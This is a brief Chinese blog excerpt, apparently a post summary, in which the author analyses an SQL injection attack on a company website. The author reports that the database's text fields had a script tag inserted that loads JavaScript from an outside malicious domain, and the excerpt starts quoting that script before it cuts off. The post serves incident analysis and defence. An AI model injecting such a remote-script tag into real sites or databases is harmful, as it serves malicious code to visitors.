openkava

摘要： 近日公司网站不小心被sql注入攻击了，详细分析如下1 现象：打开网页，FF出现提示有不安全代码，查看后确认调用了外部恶意网站的javascript脚本。2 打开数据库，发现数据库的文本字段都加了 <script src=‘http://www.cntrl62.com/b.js’> </script>该脚本代码如下：window.status="";v... 阅读全文